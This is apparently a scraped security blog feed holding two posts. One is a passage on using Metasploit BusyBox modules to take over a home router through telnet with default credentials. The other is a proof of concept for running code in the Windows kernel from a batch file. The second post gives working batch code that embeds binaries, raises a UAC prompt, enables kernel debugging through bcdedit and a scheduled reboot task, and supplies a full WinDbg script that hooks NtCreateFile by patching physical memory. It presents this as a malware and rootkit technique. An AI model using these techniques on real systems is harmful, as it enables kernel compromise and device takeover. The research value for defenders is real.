Busybox_control.rb is another POST metasploit ruby script that can be used when you have a session connected to a BusyBox shell. This ruby script will send a ash script (the script it is the file busybox_control.sh file) to the connected shell, to help to control the target embedded device (sometimes it will depend on the target device model that things are done in a different way: different files must be modified, or different commands must be executed. I would like to update this script often, to implement new commands that work with the most number of devices).<br />
<br />
Here you can see the commands that I have currently implemented (i will update it with new commands in the future):</div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOVQ9s61eknYcIGTqNBiXK5lSzrMWizWV8JutgsBhNPbaZiY3GmCLpWKtB8yZrZwDSkTTf4xNEOprfsrtv33r7yxT4WMrzqWL4Ztlflg9ePrgMcJ8IaNFhbk0g04YJxi-UZDFMHvu8fNU/s1600/busybox_control_options1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="438" data-original-width="1106" height="252" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOVQ9s61eknYcIGTqNBiXK5lSzrMWizWV8JutgsBhNPbaZiY3GmCLpWKtB8yZrZwDSkTTf4xNEOprfsrtv33r7yxT4WMrzqWL4Ztlflg9ePrgMcJ8IaNFhbk0g04YJxi-UZDFMHvu8fNU/s640/busybox_control_options1.jpg" width="640" /></a></div>
<br />
<br />
Later we will see an example to use this.<br />
<br />
Finally, i added a metasploit resource script to automatize the process of doing telnet to a device, trying to jailbreak the limited shell, sending the busybox_control.sh script to the BusyBox shell, and connecting to the session interatively to manage the remote device.</div>
<br />
<h2>
Example</h2>
<div>
<br /></div>
Let’s use this scripts against my home router, a comtrend ar-5387un.<br />
<br />
We open a metasploit console. Telnet access is enabled for this router. We could try to bruteforce the target router (192.168.2.1) with the metasploit module auxiliary/scanner/telnet/telnet_login and some wordlist. But i found some problems bruteforcing telnet with this module. Anyway, if you search the model’s default credentials in google you find fastly it is admin/admin.<br />
<br />
We will use telnet_login to connect to telnet service:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgP1MWPbeaMXIwUohL-galtxjJyxh7zkxNKDUgrLrK13GhqORCypdHGU2D2__ZSffHRyCH72vM5zfRfpfaAIUKl64wFxwFvCiYysZfEBbPEkchyphenhyphen3CAQHIMASqlZAKlOrpGmy0XUnvPPchY/s1600/telnet_login.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="737" data-original-width="664" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgP1MWPbeaMXIwUohL-galtxjJyxh7zkxNKDUgrLrK13GhqORCypdHGU2D2__ZSffHRyCH72vM5zfRfpfaAIUKl64wFxwFvCiYysZfEBbPEkchyphenhyphen3CAQHIMASqlZAKlOrpGmy0XUnvPPchY/s640/telnet_login.jpg" width="576" /></a></div>
<br />
<br />
After doing this, we have a connected session, the session 1. Now we will use post/linux/manage/busybox_jailbreak to get the BusyBox shell and post/linux/manage/busybox_control to send the shell script.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5foWFGAB4sT3Fe5tGQO7ObVMpZ3dVVS2JxRdMO5YnPTD69SfdJDZgejcKqk5eJXGuFJSvklln1GMhMDaF9U-SGDHJhfPhj_VoYHBum_XF0KrNHcCGpWiSVJHX9PcafieBJ2EFn6rjUZE/s1600/busybox_jailbreak_control_modules.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="169" data-original-width="746" height="144" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5foWFGAB4sT3Fe5tGQO7ObVMpZ3dVVS2JxRdMO5YnPTD69SfdJDZgejcKqk5eJXGuFJSvklln1GMhMDaF9U-SGDHJhfPhj_VoYHBum_XF0KrNHcCGpWiSVJHX9PcafieBJ2EFn6rjUZE/s640/busybox_jailbreak_control_modules.jpg" width="640" /></a></div>
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWQDNv_ww9EBRYV-sCo1Klym5bTldhFdMPGfUpZqisR_AGbOKcnKEVl13GPuf2yu0s5oX-B_zCqGZ5T2Lr0h3I2Nw7loRUr_nakECcfcJHrhPVVStZQ5_ae1PDr_J-pUQHaV-NGW45vp8/s1600/busbox_jailbreak_and_control.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="331" data-original-width="582" height="362" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWQDNv_ww9EBRYV-sCo1Klym5bTldhFdMPGfUpZqisR_AGbOKcnKEVl13GPuf2yu0s5oX-B_zCqGZ5T2Lr0h3I2Nw7loRUr_nakECcfcJHrhPVVStZQ5_ae1PDr_J-pUQHaV-NGW45vp8/s640/busbox_jailbreak_and_control.jpg" width="640" /></a></div>
<br />
<br />
<br />
<br />
After doing this, we only need to execute sessions -i 1, to interact with the shell script and execute the commands that we saw previously.<br />
<br />
We can automatize this process by using the metasploit resource that i coded:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHM_89YlrwvM6bLrHvUFN0fqHmHiP7Wy0M8UisCXEelli7Jeb0_IqitC9HiX3W36RJPB8igPOhLesqdUOIlEdTw3XkHDnmDfvFTErAObulduUpVzokd7edF4Ti6R_FNhIyjmqV4FQgT2U/s1600/auto_busybox_resource.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="215" data-original-width="804" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHM_89YlrwvM6bLrHvUFN0fqHmHiP7Wy0M8UisCXEelli7Jeb0_IqitC9HiX3W36RJPB8igPOhLesqdUOIlEdTw3XkHDnmDfvFTErAObulduUpVzokd7edF4Ti6R_FNhIyjmqV4FQgT2U/s640/auto_busybox_resource.jpg" width="640" /></a></div>
<br />
<br />
<br />
<h2>
Conclusion</h2>
<br />
Nowadays modem/routers are a weak points of local networks. They usually have default credentials and they usually have bugs that lets you a total control of the device. You can control the entire network, you can give a fake dns through dhcp to the network machines, you can see the hosts of the network and you can see the established connections of all the hosts of the network, etc…<br />
<br />
The purpose of the scripts that i showed in this article is to help to take advantage of these weak points. I hope you enjoyed it.</div>
vallejocchttp://www.blogger.com/profile/06290548883920195912noreply@blogger.com0tag:blogger.com,1999:blog-7174982666252004806.post-40310734379266663102015-06-07T06:28:00.000-07:002018-05-04T10:01:06.318-07:00Batch, attach and patch: using windbg’s local kernel debugger to execute code in windows kernelIn this article I am going to describe a way to execute code in windows kernel by using windbg local kernel debugging. It’s not a vulnerability, I am going to use only windbg’s legal functionality, and I am going to use only a batch file (not powershell, or vbs, an old style batch only) and some Microsoft’s signed executables (some of them that are already in the system and windbg, that we will be dumped from the batch file).<br />
<div>
<a name='more'></a><br />
With this method it is not necessary to launch executables at user mode (only Microsoft signed executables) or load signed drivers. PatchGuard and other protections don’t stop us. We put our code directly into kernel memory space and we hook some point to get a thread executing it. As we will demonstrate, a malware consisting of a simple batch file would be able to jump to kernel, enabling local kernel debugging and using windbg to get its code being executed in kernel.<br />
<br />
The article has five parts:<br />
Dumping files embedded into the batch file: a couple of methods for embedding and dumping binary files into the batch file.<br />
Executing the batch file as administrator: here a method to show the UAC prompt from the batch file (without using powershell, vbs…)<br />
Enabling local kernel debugging: how to enable local kernel debugging from the batch.<br />
Patch kernel memory with windbg to inject and execute our code in kernel mode: a way to patch kernel memory and execute our code in kernel by using windbg local kernel debugging from the batch file).<br />
Finally, we will put all these things together to make a proof-of-concept batch file that will target a windows 8.1 x64 machine, and we will do some tests.<br />
<br />
<h2>
1) Dumping files embedded into the batch file to disk</h2>
<div>
<div style="border: 0px; box-sizing: border-box; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
<br />
Probably, there are lot of ways to dump files embbeded into a bat to disk. Here I’m going to talk about a couple of methods.</div>
<h3 style="border: 0px; box-sizing: border-box; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
1.1) Create a .bat that is a .cab too:</h3>
<div style="border: 0px; box-sizing: border-box; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
It is possible to use the Microsoft tool makecab.exe (or cabarc.exe in previous versions of windows) to create a CAB file. This CAB file will contains the files that we want to dump, compressed. But we will add too a first file uncompressed, our batch file.<br />
<br />
To use makecab.exe we have to give to it the path to a .ddf file as parameter: makecab.exe /F makecab.ddf. This .ddf file instructs makecab.exe to create the CAB file. You can find information about makecab.exe <a href="https://msdn.microsoft.com/en-us/library/bb417343.aspx">here</a> and about microsoft cabinet format <a href="https://msdn.microsoft.com/en-us/library/bb417343.aspx#microsoftmakecabusersguide">here</a>.<br />
<br />
Let’s suppose we have a file setup.exe (a executable that we want to dump to disk) and a file setup.bat (the main batch file).<br />
<br />
Setup.bat:</div>
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">@echo off
mkdir expanded
expand %0 expanded -F:*
expanded\setup.exe
pause
goto:eof</pre>
We need to create a .ddf file to instruct makecab.exe to create a CAB containing setup.bat and setup.exe:<br />
<br />
Makecab.ddf:</div>
<div>
<pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 0px; box-sizing: border-box; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;"><span style="background-color: rgba(0 , 0 , 0 , 0.03); color: #686868; font-family: "source code pro" , monospace; font-size: 16px;">.OPTION EXPLICIT ; Generate errors on variable typos
.Set Cabinet=on
.Set Compress=off
.Set InfAttr= ; Turn off read-only, etc. attrs
setup.bat
.Set Cabinet=on
.Set Compress=on
setup.exe</span>
</pre>
<div style="border: 0px; box-sizing: border-box; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
Having setup.exe, setup.bat and makecab.ddf in the same directory, we execute: makecab.exe /F makecab.ddf, and we get the CAB file.<br />
<br />
CAB file contents:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQB6gJ8tb3LBTsSPFU8DAmMpdwa_2DHD9LrY96ieobOIdypMDuzp31wp3a5KvIX4xdUWtElMZpWhdjj0rTcXfoTt4knEpfJC1i3QjEXuITo1IGMHuPXiDoyhsEtPJX1u8pqGhg-xwR2I0/s1600/cab_bat_file.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="451" data-original-width="916" height="314" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQB6gJ8tb3LBTsSPFU8DAmMpdwa_2DHD9LrY96ieobOIdypMDuzp31wp3a5KvIX4xdUWtElMZpWhdjj0rTcXfoTt4knEpfJC1i3QjEXuITo1IGMHuPXiDoyhsEtPJX1u8pqGhg-xwR2I0/s640/cab_bat_file.png" width="640" /></a></div>
<br /></div>
As we can see the CAB file contains a first file: the batch script uncompressed, and a second file: setup.exe compressed. If we rename the .cab file to .bat, and we execute the .bat file, it is executed without problems. The first binary contents (the CAB header) is ignored by the batch interpreter (it tries to execute it but it prints error messages), and when the interpreter finds the batch uncompressed code it executes this code without problems. As we can see this batch code executes expand.exe passing as parameter the own .bat file (that is a CAB file too), and the CAB file is uncompressed to the directory “expanded”. After that, setup.exe is executed.</div>
<div>
<br />
<h3>
1.2) Dump ascii encoded binaries and decode them with certutil.exe:</h3>
</div>
<div>
<br /></div>
<div>
In this case we are going to use the tool certutil.exe (info <a href="https://technet.microsoft.com/en-us/library/cc732443.aspx">here</a>) to encode a binary file to text, that we will embed into the batch file:<br />
<br />
certutil -encode file.bin file.enc<br />
<br />
file.bin is a binary file that contains:<br />
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">0x00 0x11 0x22 0x33 0x44 0x55 0x66 0x77 0x88 0x99 0xaa 0xbb 0xcc 0xdd 0xee 0xff</pre>
After encoding it, we get a text file, file.enc:</div>
<div>
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">-----BEGIN CERTIFICATE-----
ABEiM0RVZneImaq7zN3u/w==
-----END CERTIFICATE-----</pre>
We will embed this text into the batch file, that will dump it to disk, and will use certutil -decode to decode this text to binary file again.<br />
<br />
Batch file:</div>
<div>
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">@echo off
call:DumpBlock setup.bat "%temp%\file.enc" _____binstart_____ _____binend_____
certutil -decode "%temp%\file.enc" "%temp%\file.bin"
goto:eof
:DumpBlock
@echo off
SetLocal EnableDelayedExpansion
echo. %~1 %~2 %~3 %~4
set SrcFile=%~1
set DestFile=%~2
set StartBlockMark=%~3
set EndBlockMark=%~4
set Flag=0
del /F %DestFile%
for /f "tokens=* delims=" %%a in ('type %SrcFile%') do (
if !Flag! EQU 2 (echo "set Flag=1"&set Flag=1)
if /i "%StartBlockMark%" EQU "%%a" (echo "set Flag=2"&set Flag=2)
if /i "%EndBlockMark%" EQU "%%a" (echo "set Flag=0"&set Flag=0)
if !Flag! EQU 1 (echo %%a >> %DestFile%)
)
goto:eof
@echo off
if "%~1"=="" (call :usage) else call :%*
exit /b
_____binstart_____
-----BEGIN CERTIFICATE-----
ABEiM0RVZneImaq7zN3u/w==
-----END CERTIFICATE-----
_____binend_____</pre>
As we can see in the previous code, there is a function named DumpBlock. This function receive as parameter a path to a file and two labels into the batch file, and it dumps to the file the content between both labels. After dumping the text to a file (file.enc), it calls to certutil to decode it to binary: certutil -decode file.enc file.bin. In this way we can embed as files (executables or any type of file) as we want into the batch file and dump them when the script is executed.</div>
<div>
<br />
<h2>
2) Executing the batch file as administrator</h2>
<div>
<br /></div>
If you use PowerShell or Vbs there are different ways to force to show the UAC prompt asking the user to let our application to execute as administrator. But I wanted to use only batch syntax.<br />
<br />
For showing UAC prompt from a batch file i decided to use other method: dumping a .LNK file pointing to my own batch file. This .LNK will be marked with the option “Run as administrator”. In this way, when the .LNK re-launch our batch file, if we don’t have administrator privileges, the UAC prompt will be shown.<br />
<br />
To create the .LNK, we create a simple windows link, and we set the “Run as administrator” option:</div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZfj5zyJBdPPfuyFsyZCusNH4yFhwlSF06BOxreW-8Vaa1GLy8zsNFBjDbLDO9sYxtwwTdWm7GMZdNUN0WhdBwH_NF6DhQJG8fXvfh5R8w6-PTkUNidmCviRq9FDCE8RUbGv3HH-9Wjt8/s1600/run_as_administrator_link_to_bat.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="388" data-original-width="392" height="395" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZfj5zyJBdPPfuyFsyZCusNH4yFhwlSF06BOxreW-8Vaa1GLy8zsNFBjDbLDO9sYxtwwTdWm7GMZdNUN0WhdBwH_NF6DhQJG8fXvfh5R8w6-PTkUNidmCviRq9FDCE8RUbGv3HH-9Wjt8/s400/run_as_administrator_link_to_bat.png" width="400" /></a></div>
<br />
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
</div>
If we compare a .lnk with “Run as admin” with other one without this option, we can see that only a flag changes:</div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQR_lpvxWPHDF4STHxpOvk35W0MAqsIs5fkOfP5_TpAwaCjroNPe2Xe9DwgTHcyZjcmEKswXUy00EtjVy8szFr_HGPDHpUoReQ-x_ECtbe9WLAi1U6lrFkcZIT-xhaS4oChuunyrErMqs/s1600/difference_lnkadmin_lnknoadmin.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="337" data-original-width="1320" height="162" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQR_lpvxWPHDF4STHxpOvk35W0MAqsIs5fkOfP5_TpAwaCjroNPe2Xe9DwgTHcyZjcmEKswXUy00EtjVy8szFr_HGPDHpUoReQ-x_ECtbe9WLAi1U6lrFkcZIT-xhaS4oChuunyrErMqs/s640/difference_lnkadmin_lnknoadmin.png" width="640" /></a></div>
<br />
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
</div>
We have to do a last thing to create our .LNK. When we create it, windows insert absolute paths to the target, but the LNK file admits relative path and environment variables. So we will open with with a hexadecimal editor and we change absolute paths for relative paths: .\setup.bat or paths with env vars: %temp%\setup.bat i.e:<br />
<br /></div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLBfmeyrMyZTIr4ebE-gjyyeNK__etaq5iEx1R6u1i87O8pLsFa9q23aUmEw2JVDxXPuHtjWIp6u7R9WtdrAT5ChaK1sMeKejNRqQjT0P_Vvyx8lShrs3HIETGQaXmp_xE3Y3ZuxeAYD0/s1600/lnk_modified_relative_paths.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="745" data-original-width="639" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLBfmeyrMyZTIr4ebE-gjyyeNK__etaq5iEx1R6u1i87O8pLsFa9q23aUmEw2JVDxXPuHtjWIp6u7R9WtdrAT5ChaK1sMeKejNRqQjT0P_Vvyx8lShrs3HIETGQaXmp_xE3Y3ZuxeAYD0/s640/lnk_modified_relative_paths.png" width="548" /></a></div>
<br />
<div style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin-bottom: 24px; outline: 0px; padding: 0px; vertical-align: baseline;">
</div>
The last step is to embed this .lnk into the batch file and dump it with one of the methods exposed in the first section. When the .LNK file is in this we copy our bat to %temp%\setu_.bat and we execute it through the .lnk file:</div>
<div>
<br />
Batch:</div>
<div>
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">if "%CD%" == "%systemroot%\system32" (
if "%~dp0" == "%TEMP%\" (
rem HERE WE ARE BEING EXECUTED AS ADMIN
goto:eof
)
)
copy setup.bat "%temp%\setu_.bat"
start %temp%\promptUAC.lnk</pre>
<h2>
3) Enabling local kernel debugging</h2>
<div>
<br /></div>
For enabling local kernel debugging it is necessary to reboot the computer (this is a mitigation for this method of jumping to kernel memory). Anyway a malware would not have too much problems in enabling local kernel debugging and rebooting from the batch with this simple code:<br />
<br />
Batch:</div>
<div>
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">IF [%1]==[/DOONLOGON] GOTO ONLOGON
bcdedit /debug on
bcdedit /dbgsettings local
schtasks /create /sc onlogon /tn setup /rl highest /tr "%0 /DOONLOGON"
shutdown /r /f
GOTO DONE
:ONLOGON
rem here local debugging is enabled and we run as administrator
:DONE</pre>
You can see how the script enables local kernel debugging, it installs a task for being executed after rebooting, and it restarts the computer.</div>
<div>
<h2>
4) Patch kernel memory with windbg to inject and execute our code in kernel mode</h2>
<div>
<br /></div>
With the methods employed in the previous sections we have dumped all the needed files to disk, we have showed the UAC prompt to get administrator privileges, and we have enabled kernel local debugging. The next and last step is to patch windows kernel memory to put our code there, and hook some function in kernel to get our code executed.<br />
<br />
For doing this, we will launch windbg with -kl option (kernel local debugging) and -c option to launch our windbg script:</div>
<div>
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">start /min windbg -y "SRV*c:\symbols*http://msdl.microsoft.com/download/symbols" -c"$$><jmpkernel_hookcreatefile.wdbg;q" -kl</pre>
And the most important part of this, is the windbg script jmpkernel_hookcreatefile.wdbg. You can see the code of this script in next paragraphs (as you will see the code of the script is well commented to understand perfectly how it works).<br />
<br />
In the script some addresses are hardcoded for my target testing machine. The target machine is an Windows 8.1 Pro N x64, and ntoskrnl version is 6.3.9600.17668. It would be easy to adapt the script for other machines or making a generic script without hardcoded adressess. Anyway, because this is only a PoC, i did it with some hardcoded addresses to not complicate it too much.<br />
<br />
The most important thing to comment of this script and the key to patch kernel memory from windbg local debugger is to use physical address to write the memory. Local kernel debugger doesn’t let us to modify some kernel memory address (for example, if we want to patch NtCreateFile function, it won’t let us). However we can transform the target virtual address to physical address, and write our modifications to the physical address.<br />
<br />
The command to transform VA to physical address is !vtop. The command to write to physical address is !eb.<br />
<br />
We will dump windbg from the batch file too. Embedding the entire windbg installation it would be crazy. But we only need a couple of commands, so we only need to embed a subset of windbg’s binaries, exactly these:</div>
<div>
<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">dbgeng.dll
dbghelp.dll
kdexts.dll
kext.dll
symsrv.dll
symsrv.yes
windbg.exe</pre>
We will embed these files into the batch file, we will dump them together the script file, and we will execute windbg with the script. After executing the script, nt!NtCreateFile function will be hooked. We have used the memory space of nt!KeBugCheckEx to put our code there, then we hook a call into nt!NtCreateFile to call to our code in nt!KeBugCheckEx. From our code in nt!KeBugCheckEx, we jump to the original destination of the call, so the funcion is hooked and our code executed, but the system continues working without problems.</div>
<div>
<br /></div>
<div>
Jmpkernel_hookcreatefile.wdbg:<br />
<pre style="background: rgba(0, 0, 0, 0.03); border: 0px; box-sizing: border-box; color: #686868; font-family: "Source Code Pro", monospace; font-size: 16px; margin-bottom: 24px; max-width: 100%; outline: 0px; overflow: auto; padding: 24px; vertical-align: baseline; word-wrap: normal;">.load kext.dll
.load kdexts.dll
.block
{
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$ Get the Physical Adress of NtCreateFile
$$
$$ get the address of nt!NtCreateFile
? nt!NtCreateFile
$$ @$exp contains the address of NtCreateFile, so we create a alias for it
aS /x va @$exp
.block
{
$$ get the physical address of NtCreateFile
!vtop 0 va
$$ parse the results of vtop
r @$t1 = 0
.foreach (tok { !vtop 0 va })
{
.catch
{
.printf "tok"
.printf "\n"
.if(@$t1==1)
{
r @$t1 = ${tok}
.break
}
$$ in the results of vtop, when we find "phys" token, after it, it comes the physical address
.if($spat("${tok}","phys"))
{
r @$t1 = 1
}
}
}
}
ad va
$$ after parsing vtop results we keep the physical address in @$t1, we create a alias
aS /x phaNtCreateFile @$t1
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$ Get the Physical Adress of KeBugCheckEx
$$
$$ get the address of nt!KeBugCheckEx
? nt!KeBugCheckEx
$$ @$exp contains the address of KeBugCheckEx, so we create a alias for it
aS /x va @$exp
.block
{
$$ get the physical address of KeBugCheckEx
!vtop 0 va
$$ parse the results of vtop
r @$t1 = 0
.foreach (tok { !vtop 0 va })
{
.catch
{
.printf "tok"
.printf "\n"
.if(@$t1==1)
{
r @$t1 = ${tok}
.break
}
$$ in the results of vtop, when we find "phys" token, after it, it comes the physical address
.if($spat("${tok}","phys"))
{
r @$t1 = 1
}
}
}
}
ad va
$$ after parsing vtop results we keep the physical address in @$t1, we create a alias
aS /x phaKeBugCheckEx @$t1
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$ Write our code to KeBugCheckEx (we will use the memory space of this function coz it wont be called unless
$$ the system crashes)
$$
.block
{
.printf "nt!NtCreateFile physical address %p\n", phaNtCreateFile
.printf "nt!NtKeyBugCheck physical address %p\n", phaKeBugCheckEx
$$ now we are going to write our code to KeBugCheckEx. It's only some simple nops operations for the PoC,
$$ but we could find enough space to write an entire rootkit
!eb phaKeBugCheckEx 90 90 90 90 90 90 90 90
$$ Now lets see the code of nt!NtCreateFile in the target system (win 8.1 x64 ntoskrnl version is 6.3.9600.17668)
$$
$$ nt!NtCreateFile:
$$ fffff803f846020 4c8bdc mov r11,rsp
$$ fffff803f846023 4881ec88000000 sub rsp,88h
$$ fffff803f84602a 33c0 xor eax,eax
$$ fffff803f84602c 498943f0 mov qword ptr [r11-10h],rax
$$ fffff803f846030 c744247020000000 mov dword ptr [rsp+70h],20h
$$ fffff803f846038 89442468 mov dword ptr [rsp+68h],eax
$$ fffff803f84603c 498943d8 mov qword ptr [r11-28h],rax
$$ fffff803f846040 89442458 mov dword ptr [rsp+58h],eax
$$ fffff803f846044 8b8424e0000000 mov eax,dword ptr [rsp+0E0h]
$$ fffff803f84604b 89442450 mov dword ptr [rsp+50h],eax
$$ fffff803f84604f 488b8424d8000000 mov rax,qword ptr [rsp+0D8h]
$$ fffff803f846057 498943c0 mov qword ptr [r11-40h],rax
$$ fffff803f84605b 8b8424d0000000 mov eax,dword ptr [rsp+0D0h]
$$ fffff803f846062 89442440 mov dword ptr [rsp+40h],eax
$$ fffff803f846066 8b8424c8000000 mov eax,dword ptr [rsp+0C8h]
$$ fffff803f84606d 89442438 mov dword ptr [rsp+38h],eax
$$ fffff803f846071 8b8424c0000000 mov eax,dword ptr [rsp+0C0h]
$$ fffff803f846078 89442430 mov dword ptr [rsp+30h],eax
$$ fffff803f84607c 8b8424b8000000 mov eax,dword ptr [rsp+0B8h]
$$ fffff803f846083 89442428 mov dword ptr [rsp+28h],eax
$$ fffff803f846087 488b8424b0000000 mov rax,qword ptr [rsp+0B0h]
$$ fffff803f84608f 49894398 mov qword ptr [r11-68h],rax
$$ fffff803f846093 e808000000 call nt!IopCreateFile (fffff803ef8460a0) <-------------------------
$$ to do it easier, we will hook the call to nt!IopCreateFile. This call is at nt!NtCreateFile + 0x73
$$ in the code that we have written in KeBugCheck, we have to put a jmp to continue the execution
$$ at nt!IopCreateFile (after the 90 90 90 90 90 90 90 90 that we wrote). Remember that E9 instruction
$$ is a relative jump and the value that the instruction admits as parameter is the difference of:
$$ target_address - (E9_ins_address+5).
$$ We need to have precalculated (nt!IopCreateFile)-(nt!KeBugCheckEx+8+5) = 0x002eb6f3 because !eb
$$ needs that we pass immediate values
r $t1 = phaKeBugCheckEx
r $t1 = $t1 + 8
!eb $t1 E9 f3 b6 2e 00
$$ finally hook the call nt!IopCreateFile, it will be executed the next time that NtCreateFile was called and it
$$ will jmp to our code. We need precalculate the relative jump value: (nt!KeBugCheckEx-(nt!NtCreateFile+0x73+5)) = 0xffd14908
$$ because !eb needs we pass inmediate values (i have to research to avoid needing to have these values precalculated)
r $t1 = phaNtCreateFile
r $t1 = $t1 + 0x74
!eb $t1 08 49 d1 ff
}
ad *
}</pre>
<h2>
5) Putting all together</h2>
<div>
<br /></div>
For ending, we are going to create a Proof-of-Concept by using all the things exposed in the previous sections. You can find the proof-of-concept code and binaries here:<br />
<br />
<a href="https://github.com/vallejocc/patch_kernel_from_batch">https://github.com/vallejocc/patch_kernel_from_batch</a><br />
<br />
You can find a capture of the proof-of-concept working here:</div>
<div>
<br />
<div class="jetpack-video-wrapper" style="background-color: white; border: 0px; box-sizing: border-box; color: #686868; font-family: "Open Sans", sans-serif; font-size: 16px; margin: 0px 0px 1.6em; outline: 0px; padding: 0px; vertical-align: baseline;">
<span class="embed-youtube" style="border: 0px; box-sizing: border-box; display: block; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; text-align: center; vertical-align: baseline;"><iframe allowfullscreen="true" class="youtube-player" data-height="424" data-ratio="0.6057142857142858" data-width="700" src="https://www.youtube.com/embed/UrR-cG4J69Q?version=3&rel=1&fs=1&autohide=2&showsearch=0&showinfo=1&iv_load_policy=1&wmode=transparent" style="border-style: initial; border-width: 0px; box-sizing: border-box; display: block; font-family: inherit; font-style: inherit; font-weight: inherit; height: 424px; margin: 0px; max-width: 100%; outline: 0px; padding: 0px; vertical-align: baseline; width: 700px;" type="text/html"></iframe></span></div>
